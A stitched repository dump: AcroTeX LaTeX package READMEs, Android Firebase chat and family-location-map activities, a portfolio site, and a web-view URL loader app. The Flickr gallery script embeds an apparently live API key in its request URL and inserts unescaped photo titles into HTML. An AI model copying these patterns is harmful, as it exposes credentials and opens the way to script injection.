fast the problem is correctly solved.
The flash card created by fc_arith can be customized in many ways. Design and build
your own flash card using any of the standard PDF creators.
What's New (2017/01/16) Require eforms dated 2017/01/15 to incorporate \olBdry into code.
What's New (2016/12/10): All the standard PDF creators can build the demo file
fc_noacrobat.tex. If you own the Acrobat application, you can also build
fc_acrobat.tex using any workflow (dvips/distiller, pdflatex, lualatex, and xelatex).
Additional commands are defined to localize virtually strings the package uses. A
redefined menu environment (MenuFC) is more flexible than the old one. Fixed a lot
of bugs found by my greatest user and tester <NAME>.
Requirements are
1. The eforms package (version 2.5c or later, 2010/03/21 or later), and
is available from the acrotex bundle (http://ctan.org/pkg/acrotex)
2. The popupmenu package (http://ctan.org/pkg/popupmenu)
<NAME>. Story
dpstory at uakron dot edu
dpstory at acrotex dot net
<file_sep>/texmf-dist/doc/latex/ecards/README.md
eCards Package
Author: <NAME>
Dated: 2016/09/03
The ecards package for LaTeX enables you to create a series of
electronic (flash) cards. The demo file for this package is named
ecardstst.pdf. The document author provides questions, hints and
answers to a series of questions. Users can test their knowledge
by responding to the questions. The questions are delivered in
random order.
What's new (2016/09/03): Improved documentation.
What's new (2016/08/02): The last revision was in 2003, and since then
there have been many changes in exerquiz. This revision brings ecards into
harmony with exerquiz (dated 2016/04/18 or later). Additionally, several new
commands are created to help customize the cards.
Note: This package requires the AcroTeX eDucation Bundle, exerquiz dated 2016/04/18
or later.
Enjoy!
Now, I simply must get back to my retirement.
<NAME>
www.acrotex.net
<EMAIL>
<EMAIL>
<file_sep>/texmf-dist/doc/latex/opacity-pro/README.md
Package: opacity-pro
Author: <NAME>
Dated: 2018/06/11
The opacity-pro package defines the \settransparency command and the
settransparency environment. These allow the document to set the blend mode
and opacity of \LaTeX objects.
PDF Creator: Adobe Distiller is required, with transparancy operator set to true
(/AllowTransparency true).
Also see http://blog.acrotex.net/ for the latest on my
ruminations on LaTeX and PDF.
Now, I simply must get back to my retirement.
<NAME>
<EMAIL>
<file_sep>/texmf-dist/doc/latex/aebxmp/README.md
The aebxmp Package
Author: <NAME>
Dated: 2017-02-17
This is a package that requies the document author to have the full Acrobat
application. In this case the dvips/Distiller, pdflatex, or xelatex workflow
may be use to create the PDF.
The package provides commands for populating certain additional metadata,
beyond that already provided by hyperref.
1. Commands to set the copyright status, notice, and url fields (as seen in the
Additional Metadata dialog accessed from the Document Properties >
Description tab.
2. (v2.0) Added support for two other fields found in the Additional Metadata
dialog box: for populating Author Title and Description Writer.
3. (v2.0) aebxmp also sets the value of Created as seen at the bottom of the
Additional Metadata dialog box
4. (v2.0) aebxmp defines the \Authors command for setting multiple authors,
the authors are accessible separately using Doc.info.Authors.
5. (v2.0) Finally, aebxmp defines a command for setting custom document
properties, this is seen on the Custom tab of the Document Properties
dialog box.
6. (v2.2) Added a \Keywords command that takes a comma-delimited list
of keywords, and creates an array of keywords. These keywords can be
accessed individually using a special document-level JavaScript
function.
7. (v2.3) Rewrote some of the code so that now the XMP package is set
using only E4X; removed all literal elements.
8. (v2.3d) Added access functions getCopyrightStatus(),
getCopyrightInfoURL(), getAuthorTitle(), and getDescriptionWriter().
9. (v2.5) Extended aebxmp to include a non-Distiller workflow as long as
the document author has the Acrobat application.
10. (v2.5a) Require insdljs dated 2016/07/31 to make colon syntax available.
Values of customProperties can use the colon notation.
My other web site is http://www.acrotex.net/, follow my articles at
http://blog.acrotex.net.
Now, I simply must get back to my retirement.
<NAME>
dpstory at acrotex dot net
| f1a4e2e34167e43586d54ca6e00ecaa9a0d3cec6 | [
"Markdown",
"JavaScript",
"Makefile",
"Text",
"Shell"
] | 53 | Markdown | TeX-Live/tlcontrib | 38a3236d99e40032eb707225f74efc2e963a2489 | e9a239366d064bc3965271a45428253e5963bc55 |
refs/heads/master | <file_sep>package com.familyunionizer;
import android.content.Intent;
import android.net.Uri;
import android.os.Bundle;
import android.text.Editable;
import android.text.InputFilter;
import android.text.TextWatcher;
import android.view.View;
import android.widget.Button;
import android.widget.EditText;
import android.widget.ImageButton;
import android.widget.ListView;
import android.widget.ProgressBar;
import androidx.annotation.Nullable;
import androidx.appcompat.app.AppCompatActivity;
import com.google.android.gms.tasks.OnSuccessListener;
import com.google.firebase.database.ChildEventListener;
import com.google.firebase.database.DataSnapshot;
import com.google.firebase.database.DatabaseError;
import com.google.firebase.database.DatabaseReference;
import com.google.firebase.database.FirebaseDatabase;
import com.google.firebase.storage.FirebaseStorage;
import com.google.firebase.storage.StorageReference;
import com.google.firebase.storage.UploadTask;
import java.util.ArrayList;
import java.util.List;
public class MyChatActivity extends AppCompatActivity {
public static final int DEFAULT_MSG_LENGTH_LIMIT = 1000;
private static final int RC_PHOTO_PICKER = 2;
private MessageAdapter mMessageAdapter;
private ListView mMessageListView;
private ProgressBar mProgressBar;
private ImageButton mPhotoPickerButton;
private EditText mMessageEditText;
private Button mSendButton;
private String mUsername;
private String mUid;
private FirebaseDatabase mFirebaseDatabase;
private DatabaseReference mMessagesDatabaseReference;
private ChildEventListener mChildEventListener;
private FirebaseStorage mFirebaseStorage;
private StorageReference mChatPhotosStorageReference;
@Override
public void onCreate(@Nullable Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_my_chat);
GetUserIdAndNameFromPreviousActivity();
InitializeFirebase();
InitializeReferenceViews();
GetReferencesToRealtimeDatabaseAndPhotos();
InitializeListViewAndAdapter();
InitializeProgressbar();
OnClickListenerForPhotoPicker();
MessageTextboxListenerToSetSendButtonEnabledAndLimitTextSize();
OnClickListenerForSendButton();
ActivateRealtimeFetching();
}
private void OnClickListenerForSendButton() {
mSendButton.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View view) {
FriendlyMessage friendlyMessage = new FriendlyMessage(mMessageEditText.getText().toString(), mUsername, null);
mMessagesDatabaseReference.push().setValue(friendlyMessage);
if (mMessageEditText.length() > 0) {
mMessageEditText.getText().clear();
}
}
});
}
private void MessageTextboxListenerToSetSendButtonEnabledAndLimitTextSize() {
mMessageEditText.addTextChangedListener(new TextWatcher() {
@Override
public void beforeTextChanged(CharSequence charSequence, int i, int i1, int i2) {
}
@Override
public void onTextChanged(CharSequence charSequence, int i, int i1, int i2) {
if (charSequence.toString().trim().length() > 0) {
mSendButton.setEnabled(true);
} else {
mSendButton.setEnabled(false);
}
}
@Override
public void afterTextChanged(Editable editable) {
}
});
mMessageEditText.setFilters(new InputFilter[]{new InputFilter.LengthFilter(DEFAULT_MSG_LENGTH_LIMIT)});
}
private void OnClickListenerForPhotoPicker() {
mPhotoPickerButton.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View view) {
Intent intent = new Intent(Intent.ACTION_GET_CONTENT);
intent.setType("image/jpeg");
intent.putExtra(Intent.EXTRA_LOCAL_ONLY, true);
startActivityForResult(Intent.createChooser(intent, "Complete action using"), RC_PHOTO_PICKER);
}
});
}
private void InitializeProgressbar() {
mProgressBar.setVisibility(ProgressBar.INVISIBLE);
}
private void InitializeListViewAndAdapter() {
List<FriendlyMessage> friendlyMessages = new ArrayList<>();
mMessageAdapter = new MessageAdapter(this, R.layout.item_message, friendlyMessages);
mMessageListView.setAdapter(mMessageAdapter);
}
private void GetReferencesToRealtimeDatabaseAndPhotos() {
//getting the ref of the real time database title,which happens to be messages here
mMessagesDatabaseReference = mFirebaseDatabase.getReference().child(mUid);
//getting the ref of the storage database title, which happes to be chat_photos here
mChatPhotosStorageReference = mFirebaseStorage.getReference().child("chat_photos");
}
private void GetUserIdAndNameFromPreviousActivity() {
mUsername = getIntent().getStringExtra("EXTRA_SESSION_USER_NAME");
mUid = getIntent().getStringExtra("EXTRA_SESSION_ID");
}
private void InitializeFirebase() {
// instantiate realtime database
mFirebaseDatabase = FirebaseDatabase.getInstance();
// instantiate storage database
mFirebaseStorage = FirebaseStorage.getInstance();
}
private void InitializeReferenceViews() {
mMessageListView = (ListView) findViewById(R.id.messageListView);
mProgressBar = (ProgressBar) findViewById(R.id.progressBar);
mPhotoPickerButton = (ImageButton) findViewById(R.id.photoPickerButton);
mMessageEditText = (EditText) findViewById(R.id.messageEditText);
mSendButton = (Button) findViewById(R.id.sendButton);
}
@Override
public void onActivityResult(int requestCode, int resultCode, Intent data) {
super.onActivityResult(requestCode, resultCode, data);
if (requestCode == RC_PHOTO_PICKER && resultCode == RESULT_OK) {
Uri selectedImageUri = data.getData();
// Get a reference to store file at chat_photos/<FILENAME>
final StorageReference photoRef = mChatPhotosStorageReference.child(selectedImageUri.getLastPathSegment());
// Upload file to Firebase Storage
photoRef.putFile(selectedImageUri)
.addOnSuccessListener(this, new OnSuccessListener<UploadTask.TaskSnapshot>() {
public void onSuccess(UploadTask.TaskSnapshot taskSnapshot) {
photoRef.getDownloadUrl().addOnSuccessListener(new OnSuccessListener<Uri>() {
@Override
public void onSuccess(Uri downloadPhotoUrl) {
//Now play with downloadPhotoUrl
//Store data into Firebase Realtime Database
FriendlyMessage friendlyMessage = new FriendlyMessage
(null, mUsername, downloadPhotoUrl.toString());
mMessagesDatabaseReference.push().setValue(friendlyMessage);
}
});
}
});
}
}
// adding stuff from the realtime database...
// it starts with the device and keeps getting called whenever there is something added.
// just like the listeners in the on create, they stay there.
private void ActivateRealtimeFetching() {
if (mChildEventListener == null) {
mChildEventListener = new ChildEventListener() {
@Override
public void onChildAdded(DataSnapshot dataSnapshot, String s) {
FriendlyMessage friendlyMessage = dataSnapshot.getValue(FriendlyMessage.class);
mMessageAdapter.add(friendlyMessage);
}
public void onChildChanged(DataSnapshot dataSnapshot, String s) {
}
public void onChildRemoved(DataSnapshot dataSnapshot) {
}
public void onChildMoved(DataSnapshot dataSnapshot, String s) {
}
public void onCancelled(DatabaseError databaseError) {
}
};
mMessagesDatabaseReference.addChildEventListener(mChildEventListener);
}
}
}
<file_sep>package com.familyunionizer;
import android.content.pm.PackageManager;
import android.location.Location;
import android.os.Bundle;
import android.os.Looper;
import android.util.Log;
import androidx.annotation.NonNull;
import androidx.annotation.Nullable;
import androidx.appcompat.app.AppCompatActivity;
import androidx.core.app.ActivityCompat;
import androidx.core.content.ContextCompat;
import com.google.android.gms.location.FusedLocationProviderClient;
import com.google.android.gms.location.LocationCallback;
import com.google.android.gms.location.LocationRequest;
import com.google.android.gms.location.LocationResult;
import com.google.android.gms.location.LocationServices;
import com.google.android.gms.maps.GoogleMap;
import com.google.android.gms.maps.MapFragment;
import com.google.android.gms.maps.OnMapReadyCallback;
import com.google.android.gms.maps.model.BitmapDescriptorFactory;
import com.google.android.gms.maps.model.LatLng;
import com.google.android.gms.maps.model.MarkerOptions;
import com.google.android.gms.tasks.OnCompleteListener;
import com.google.android.gms.tasks.OnFailureListener;
import com.google.android.gms.tasks.OnSuccessListener;
import com.google.android.gms.tasks.Task;
import com.google.firebase.firestore.DocumentReference;
import com.google.firebase.firestore.DocumentSnapshot;
import com.google.firebase.firestore.EventListener;
import com.google.firebase.firestore.FirebaseFirestore;
import com.google.firebase.firestore.FirebaseFirestoreException;
//import com.google.android.libraries.places.api.Places;
//import com.google.android.libraries.places.api.model.Place;
//import com.google.android.libraries.places.widget.Autocomplete;
//import com.google.android.libraries.places.widget.AutocompleteActivity;
//import com.google.android.libraries.places.widget.AutocompleteSupportFragment;
//import com.google.android.libraries.places.widget.model.AutocompleteActivityMode;
import java.util.ArrayList;
import java.util.Map;
public class MapActivity extends AppCompatActivity implements OnMapReadyCallback {
public static final String TAG = MapActivity.class.getSimpleName();
//map
private GoogleMap mMap;
private MapFragment mapFragment;
//location
private static final int PERMISSIONS_REQUEST_FINE_LOCATION = 111;
private Location mLastKnownLocation;
private boolean mLocationPermissionGranted;
private FusedLocationProviderClient mFusedLocationProviderClient;
private LocationCallback locationCallback;
// Firebase documents
final DocumentReference mDocRefLocation = FirebaseFirestore.getInstance().document("location/data");
final DocumentReference mDocRefChatRoom = FirebaseFirestore.getInstance().document("chatroom/data");
//user data
private String mUid;
private String mUidFamily;
private String mUsername;
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_maps);
GetUserIdAndNameFromPreviousActivity();
GetMapItemFromLayoutAndGetMapAsync();
GettingLocationServicesOnThisActivity();
GettingLocationPermisionInCaseItWasntThere();
GetDeviceLocation();
GettingLocationCallBackFunctionInitialization();
}
private void GettingLocationCallBackFunctionInitialization() {
locationCallback = new LocationCallback() {
@Override
public void onLocationResult(LocationResult locationResult) {
if (locationResult == null) {
return;
}
for (Location location : locationResult.getLocations()) {
mLastKnownLocation = location;
UpdatingTheCurrentUserLocationToMap();
mDocRefLocation.get().addOnSuccessListener(new OnSuccessListener<DocumentSnapshot>() {
@Override
public void onSuccess(DocumentSnapshot documentSnapshot) {
if (documentSnapshot.exists()) {
final Map<String, Object> MapOfUserLocations = documentSnapshot.getData();
GettingNamesOfUsersAndPlottingThemAccodingToTheirLocation(MapOfUserLocations);
}
}
});
}
}
;
};
}
private void UpdatingTheCurrentUserLocationToMap() {
ArrayList<Double> location = new ArrayList<>();
location.add(mLastKnownLocation.getLatitude());
location.add(mLastKnownLocation.getLongitude());
mDocRefLocation.update(mUsername,location);
}
private void GettingNamesOfUsersAndPlottingThemAccodingToTheirLocation(final Map<String, Object> mapOfUserLocations) {
mMap.clear();
mDocRefChatRoom.get().addOnSuccessListener(new OnSuccessListener<DocumentSnapshot>() {
@Override
public void onSuccess(DocumentSnapshot documentSnapshot) {
if (documentSnapshot.exists()) {
Map<String, Object> MapOfUserChatRooms = documentSnapshot.getData();
ArrayList<String> ArrayOfChatRoomForASpecificUser;
for (Map.Entry<String, Object> entry : mapOfUserLocations.entrySet()) {
ArrayList<Double> longitudeLantitude = (ArrayList<Double>) entry.getValue();
ArrayOfChatRoomForASpecificUser = (ArrayList<String>) MapOfUserChatRooms.get(entry.getKey());
if (ArrayOfChatRoomForASpecificUser != null) {
if (ArrayOfChatRoomForASpecificUser.get(1).equals(mUidFamily)) {
if (longitudeLantitude.get(0) != null && longitudeLantitude.get(1) != null) {
mMap.addMarker(new MarkerOptions()
.title(entry.getKey())
.position(new LatLng(longitudeLantitude.get(0), longitudeLantitude.get(1)))
.snippet("No places found, because location permission is disabled.")
.icon(BitmapDescriptorFactory.defaultMarker(BitmapDescriptorFactory.HUE_RED)));
}
}
}
}
}
}
});
}
private void GettingLocationServicesOnThisActivity() {
mFusedLocationProviderClient = LocationServices.getFusedLocationProviderClient(this);
}
private void GetMapItemFromLayoutAndGetMapAsync() {
mapFragment = (MapFragment) getFragmentManager().findFragmentById(R.id.map);
mapFragment.getMapAsync(MapActivity.this);
}
private void GetUserIdAndNameFromPreviousActivity() {
mUid = getIntent().getStringExtra("EXTRA_SESSION_ID");
mUidFamily = getIntent().getStringExtra("EXTRA_SESSION_FAMILY_ID");
mUsername = getIntent().getStringExtra("EXTRA_SESSION_ID");
}
/*
* Request location permission, so that we can get the location of the
* device. The result of the permission request is handled by a callback,
* onRequestPermissionsResult.
*/
private void GettingLocationPermisionInCaseItWasntThere() {
mLocationPermissionGranted = false;
if (ContextCompat.checkSelfPermission(this.getApplicationContext(),
android.Manifest.permission.ACCESS_FINE_LOCATION)
== PackageManager.PERMISSION_GRANTED) {
mLocationPermissionGranted = true;
} else {
ActivityCompat.requestPermissions(this,
new String[]{android.Manifest.permission.ACCESS_FINE_LOCATION},
PERMISSIONS_REQUEST_FINE_LOCATION);
}
}
/*
* Get the best and most recent location of the device, which may be null in rare
* cases when a location is not available.
*/
private void GetDeviceLocation() {
try {
if (mLocationPermissionGranted) {
Task<Location> locationResult = mFusedLocationProviderClient.getLastLocation();
locationResult.addOnCompleteListener(this, new OnCompleteListener<Location>() {
@Override
public void onComplete(@NonNull Task<Location> task) {
if (task.isSuccessful()) {
mLastKnownLocation = task.getResult();
} else {
Log.d(TAG, "Current location is null. Using defaults.");
Log.e(TAG, "Exception: %s", task.getException());
}
}
});
}
} catch (SecurityException e) {
Log.e("Exception: %s", e.getMessage());
}
}
@Override
public void onMapReady(GoogleMap googleMap) {
mMap = googleMap;
mMap.getUiSettings().setZoomControlsEnabled(true);
}
@Override
public void onBackPressed() {
super.onBackPressed();
finish();
}
@Override
protected void onResume() {
super.onResume();
startLocationUpdates();
}
private void startLocationUpdates() {
LocationRequest request = new LocationRequest()
.setFastestInterval(1500)
.setInterval(6000)
.setPriority(LocationRequest.PRIORITY_HIGH_ACCURACY);
mFusedLocationProviderClient.requestLocationUpdates(request,
locationCallback,
Looper.getMainLooper());
}
}
| 4e53a9ed056b6fe142a911bb53a5a8142e5f1fd1 | [
"Java"
] | 2 | Java | alyabouzaid/FamilyUnionizer | 56bc849a32e525f5ba7c017bf837e755b87cc897 | 5c8da1e41fba435b405a24216ac27bd8ed9c98be |
refs/heads/master | <file_sep>var lastUpdate;
window.onscroll = function(ev) {
if ((window.innerHeight + Math.ceil(window.pageYOffset)) >= document.body.offsetHeight) {
if ((Date.now() - lastUpdate) < 500) return;
lastUpdate = Date.now();
makeApiCall(false);
}
};
var page = 1;
function makeApiCall(refresh) {
if (refresh) {
$('#results').text('');
page = 1;
} else {
page++;
}
const numPictures = $('#numPictures').find(':selected').text();
const searchTerms = $('#searchTerm').val().replaceAll(' ', ',');
const url = getUrl(searchTerms, numPictures, page);
console.log(url);
$.ajax(url, {
dataType: 'json', success: function(data, status, xhr) {
console.log(data);
var results = '';
data.photos.photo.forEach(p => results += getCard(p));
$('#results').append(results);
}
});
}
function getUrl(tags, numPictures, page) {
return `https://www.flickr.com/services/rest/?method=flickr.photos.search&api_key=d5e6164057da1dfec8bf6c11c6527842&tags=${tags}&per_page=${numPictures}&page=${page}&privacy_filter=1&safe_search=1&format=json&nojsoncallback=1`
}
function getCard(photo) {
return `
<div class="col-sm-4 mt-5">
<div class="card">
<img class="card-img-top" src="https://live.staticflickr.com/${photo.server}/${photo.id}_${photo.secret}.jpg" alt="${photo.title}">
<div class="card-body">
<h5 class="card-title">${photo.title}</h5>
</div>
</div>
</div>`;
}<file_sep>var nextTweetId = 1;
function appendTweet(interestId) {
var tweet = $(`<div class="card m-2" id="tweet${nextTweetId}"><button type="button" class="btn btn-danger add-tweet-button ml-auto mr-2 mt-2" onclick="deleteTweet('tweet${nextTweetId}')">-</button><img class="card-img-top p-2 m-auto" style="width: 100px;" src="twitter-logo.jpg" alt="Twitter logo"><div class="card-body"><h5 class="card-title">Tweet</h5><p class="card-text">Sample tweet will go here!</p></div></div>`);
nextTweetId++;
tweet.appendTo(interestId);
}
function deleteTweet(tweetId) {
document.getElementById(tweetId).remove();
}<file_sep><!DOCTYPE html>
<html>
<head>
<title>About Me</title>
</head>
<body>
<h1><NAME></h1>
<p>I picked up longboarding in middle school and have loved it since, I somehow never watched The Office until
college but now I have watched it at least 6 times, and I was really into music production in high school. I am
studying Computer Science because I have enjoyed playing with computers since I was in elementary school. I am
also an Applied Mathematics major and want to find a job some day that combines CS and math.</p>
<h2>My Proffesional Profile</h2>
<a href="https://github.com/danerieber">My GitHub</a><br><br>
<img src="me.jpg" height="500px" alt="Portrait of me">
<h3>My Favorite Projects</h3>
<table border="1">
<tr>
<th>Name of the Project</th>
<th>Technologies Used</th>
</tr>
<tr>
<td>Polytension Algorithm</td>
<td>Python</td>
</tr>
<tr>
<td>Processing Creations</td>
<td>Processing</td>
</tr>
<tr>
<td>Personal Website</td>
<td>HTML/CSS, Bootstrap</td>
</tr>
</table>
<br>
<h3>My Interests</h3>
<ul>
<li>Longboarding</li>
<li>Rocket League</li>
<li>Music</li>
</ul>
</body>
</html><file_sep><!DOCTYPE html>
<html lang="en">
<head>
<title>About Me</title>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/4.5.2/css/bootstrap.min.css">
<script src="https://ajax.googleapis.com/ajax/libs/jquery/3.5.1/jquery.min.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/popper.js/1.16.0/umd/popper.min.js"></script>
<script src="https://maxcdn.bootstrapcdn.com/bootstrap/4.5.2/js/bootstrap.min.js"></script>
<link rel="stylesheet" href="styles.css">
<script src="mypage_bootstrap.js"></script>
</head>
<body>
<nav class="navbar navbar-expand-sm bg-dark navbar-dark">
<ul class="navbar-nav">
<li class="nav-item">
<a class="nav-link" href="#">Profile</a>
</li>
<li class="nav-item">
<a class="nav-link" href="projects.html">Projects</a>
</li>
<li class="nav-item">
<a class="nav-link" href="form.html">Form</a>
</li>
<li class="nav-item">
<a class="nav-link" href="signup-modal/login.html">Sign Up Modal</a>
</li>
<li class="nav-item">
<a class="nav-link" href="tic-tac-toe/tic-tac-toe.html">Tic Tac Toe Game</a>
</li>
<li class="nav-item">
<a class="nav-link" href="flickr/index.html">Flickr API Gallery</a>
</li>
</ul>
<ul class="navbar-nav ml-auto">
<a class="navbar-brand mr-auto" href="https://github.com/danerieber">
<img src="mark-github.svg" alt="GitHub" style="width: 30px;">
</a>
</ul>
</nav>
<div class="container">
<br>
<h1><NAME></h1>
<br>
<div class="card">
<div class="card-body">
Some facts about me: I have built 2 of my own gaming PCs, I somehow never watched The
Office until college but now I have watched it at least 6 times, and I don't like lasagna (and I don't
know why). I am studying Computer Science because I have enjoyed playing with
computers since I was in elementary school. I am also an Applied Mathematics major and want to find
a job some day that combines CS and math.
</div>
</div>
<br>
<img src="me.jpg" class="rounded-circle" height="300px" alt="Portrait of me">
<br><br>
<div class="row">
<div class="col-sm-6">
<h3>Interests</h3>
</div>
<div class="col-sm-6">
<a class="btn btn-info float-right" href="form.html" role="button">Add Interest</a>
</div>
</div>
<br>
<div class="card-group">
<div class="card">
<img class="card-img-top p-2" height="220px" src="https://i.ytimg.com/vi/GOD-RyVB-3Q/maxresdefault.jpg"
alt="Picture of longboarding">
<div class="card-body" id="interest1">
<h5 class="card-title">Longboarding</h5>
<p class="card-text">Ever since I picked up longboarding I have loved it. My favorite type of
longboarding is carving, where you take large turns down a hill to stay at a comfortable speed.
</p>
<button type="button" class="btn btn-info add-tweet-button ml-auto mr-2 mb-2" onclick="appendTweet('#interest1')">+</button>
</div>
</div>
<div class="card">
<img class="card-img-top p-2" height="220px"
src="https://gamespot1.cbsistatic.com/uploads/original/1179/11799911/3334232-rl.jpg"
alt="Picture of Rocket League">
<div class="card-body" id="interest2">
<h5 class="card-title">Rocket League</h5>
<p class="card-text">I have been playing Rocket League throughout college and have spent over 1200
hours in-game so far. It's basically just soccer with cars.</p>
<button type="button" class="btn btn-info add-tweet-button ml-auto mr-2 mb-2" onclick="appendTweet('#interest2')">+</button>
</div>
</div>
<div class="card">
<img class="card-img-top p-2" height="220px"
src="http://panthernow.com/wp-content/uploads/390534244_3db9138593_b.jpg"
alt="Picture of music sheet">
<div class="card-body" id="interest3">
<h5 class="card-title">Music</h5>
<p class="card-text">I love some good classical masterpieces, and I play some piano myself. I was
really into music production with FL Studio in high school.</p>
<button type="button" class="btn btn-info add-tweet-button ml-auto mr-2 mb-2" onclick="appendTweet('#interest3')">+</button>
</div>
</div>
</div>
</div>
<footer style="background-color: lightgray;" class="mt-5">
<div class="container">
<div class="text-center p-2">
<a href="https://www.linkedin.com/in/dane-rieber/">
<img src="linkedin-logo.svg">
</a>
</div>
</div>
</footer>
</body>
</html> | b53f94f944064ce91faaecee03dc5527f48cce69 | [
"JavaScript",
"HTML"
] | 4 | JavaScript | dane-rieber/dane-rieber.github.io | 37082612580768fced53d624c9521618f5928444 | aebb25a19dd54e0f0b4ba797c179c84d231b33ad |
refs/heads/master | <file_sep>package com.malbarando.hqandroid.utils;
/**
* Created by <NAME> on 2/10/2016.
*/
public class Constants {
public final static String URL = "http://appcontent.hotelquickly.com/en/1/android/index.json";
public final static String USERID = "276";
public final static String APP_SECRETKEY = "<KEY>";
public final static String CURRENCY_CODE = "USD";
public final static String OFFERID = "10736598";
public final static String SELECTED_VOUCHERS = "[]";
public final static String PARAMS_USERID = "{userId}";
public final static String PARAMS_APP_SECRETKEY = "{appSecretKey}";
public final static String PARAMS_CURRENCY_CODE = "{currencyCode}";
public final static String PARAMS_OFFERID = "{offerId}";
public final static String PARAMS_SELECTED_VOUCHERS = "{selectedVouchers}";
}
<file_sep>package com.malbarando.hqandroid.activities;
import android.content.Intent;
import android.os.Bundle;
import android.support.v7.app.AppCompatActivity;
import android.support.v7.widget.Toolbar;
import android.view.View;
import android.widget.AdapterView;
import android.widget.ListView;
import com.malbarando.hqandroid.R;
import com.malbarando.hqandroid.adapters.WebViewListAdapter;
import com.malbarando.hqandroid.helpers.DataRequestHelper;
import com.malbarando.hqandroid.objects.WebViewItem;
import java.util.ArrayList;
import java.util.List;
public class MainActivity extends AppCompatActivity implements DataRequestHelper.WebRequestListener {
List<WebViewItem> mData;
private WebViewListAdapter mAdapter;
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
Toolbar toolbar = (Toolbar) findViewById(R.id.toolbar);
setSupportActionBar(toolbar);
init();
}
private void init() {
ListView mListView = (ListView) findViewById(R.id.listview);
mData = new ArrayList<>();
mAdapter = new WebViewListAdapter(this, mData);
mListView.setAdapter(mAdapter);
mListView.setOnItemClickListener(itemClickListener);
DataRequestHelper requestHelper = new DataRequestHelper(this, this);
requestHelper.getUrlData();
}
AdapterView.OnItemClickListener itemClickListener = new AdapterView.OnItemClickListener() {
@Override
public void onItemClick(AdapterView<?> adapterView, View view, int i, long l) {
Intent intent = new Intent(MainActivity.this, WebViewActivity.class);
intent.putExtra(WebViewItem.TAG, mData.get(i));
startActivity(intent);
}
};
@Override
public void onDataUpdate(List<WebViewItem> itemList) {
mData.addAll(itemList);
mAdapter.notifyDataSetChanged();
}
}
<file_sep>package com.malbarando.hqandroid.activities;
import android.annotation.TargetApi;
import android.os.Bundle;
import android.support.v7.app.AppCompatActivity;
import android.support.v7.widget.Toolbar;
import android.util.Log;
import android.view.MenuItem;
import android.view.View;
import android.webkit.WebChromeClient;
import android.webkit.WebResourceError;
import android.webkit.WebResourceRequest;
import android.webkit.WebSettings;
import android.webkit.WebView;
import android.webkit.WebViewClient;
import android.widget.ProgressBar;
import android.widget.Toast;
import com.malbarando.hqandroid.R;
import com.malbarando.hqandroid.helpers.DataRequestHelper;
import com.malbarando.hqandroid.objects.WebViewItem;
/**
* Created by <NAME> on 2/10/2016.
*/
public class WebViewActivity extends AppCompatActivity {
private ProgressBar pbLoader;
private static final String TAG = "webViewUrl";
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_webview);
init();
}
private void init() {
// Setup toolbar
Toolbar toolbar = (Toolbar) findViewById(R.id.toolbar);
setSupportActionBar(toolbar);
getSupportActionBar().setDisplayHomeAsUpEnabled(true);
// Get data from intent
WebViewItem item = getIntent().getParcelableExtra(WebViewItem.TAG);
setTitle(item.key);
pbLoader = (ProgressBar) findViewById(R.id.progressbar);
pbLoader.setVisibility(item.cache ? View.INVISIBLE : View.VISIBLE);
setupWebView(DataRequestHelper.filterUrl(item.url), item.cache);
}
private void setupWebView(String url, boolean cache) {
Log.d(TAG, url);
WebView webView = (WebView) findViewById(R.id.webview);
// Disables caching if cache = false
webView.getSettings().setCacheMode(!cache ? WebSettings.LOAD_NO_CACHE : WebSettings.LOAD_DEFAULT);
webView.setWebViewClient(new WebViewClient() {
@SuppressWarnings("deprecation")
@Override
public void onReceivedError(WebView view, int errorCode, String description, String failingUrl) {
// Handle the error
Toast.makeText(WebViewActivity.this, failingUrl, Toast.LENGTH_SHORT).show();
}
@TargetApi(android.os.Build.VERSION_CODES.M)
@Override
public void onReceivedError(WebView view, WebResourceRequest req, WebResourceError rerr) {
// Redirect to deprecated method
onReceivedError(view, rerr.getErrorCode(), rerr.getDescription().toString(), req.getUrl().toString());
}
});
webView.setWebChromeClient(new WebChromeClient() {
@Override
public void onProgressChanged(WebView view, int newProgress) {
super.onProgressChanged(view, newProgress);
pbLoader.setProgress(newProgress);
if (newProgress == 100) {
pbLoader.setVisibility(View.GONE);
}
}
});
webView.loadUrl(url);
}
@Override
public boolean onOptionsItemSelected(MenuItem item) {
switch(item.getItemId()){
case android.R.id.home:
this.finish();
break;
}
return super.onOptionsItemSelected(item);
}
}
<file_sep>package com.malbarando.hqandroid.objects;
import android.os.Parcel;
import android.os.Parcelable;
import java.util.ArrayList;
import java.util.List;
/**
* Created by <NAME> on 2/10/2016.
*/
public class WebViewItem implements Parcelable {
public String key;
public String url;
public String filePath;
public String namespace;
public boolean cache;
public List<String> params;
public static final String TAG = "WEBVIEW_DATA";
protected WebViewItem(Parcel in) {
key = in.readString();
url = in.readString();
filePath = in.readString();
namespace = in.readString();
cache = in.readByte() != 0;
if (in.readByte() == 0) {
params = new ArrayList<>();
in.readList(params, String.class.getClassLoader());
} else {
params = null;
}
}
@Override
public int describeContents() {
return 0;
}
@Override
public void writeToParcel(Parcel dest, int flags) {
dest.writeString(key);
dest.writeString(url);
dest.writeString(filePath);
dest.writeString(namespace);
dest.writeByte((byte) (cache ? 1 : 0));
if (params == null) {
dest.writeByte((byte) (0));
} else {
dest.writeByte((byte) (1));
dest.writeList(params);
}
dest.writeString(namespace);
}
@SuppressWarnings("unused")
public static final Parcelable.Creator<WebViewItem> CREATOR = new Parcelable.Creator<WebViewItem>() {
@Override
public WebViewItem createFromParcel(Parcel in) {
return new WebViewItem(in);
}
@Override
public WebViewItem[] newArray(int size) {
return new WebViewItem[size];
}
};
} | 39b198a9cf369b0a2492d7fcbef89b883105464f | [
"Java"
] | 4 | Java | malbarando/Android-Round1 | 059e053ea2134232b06ad81af150d6718a849878 | 7ccd1e21ab7f5e5a08020dabd9f62c3012bce7f0 |
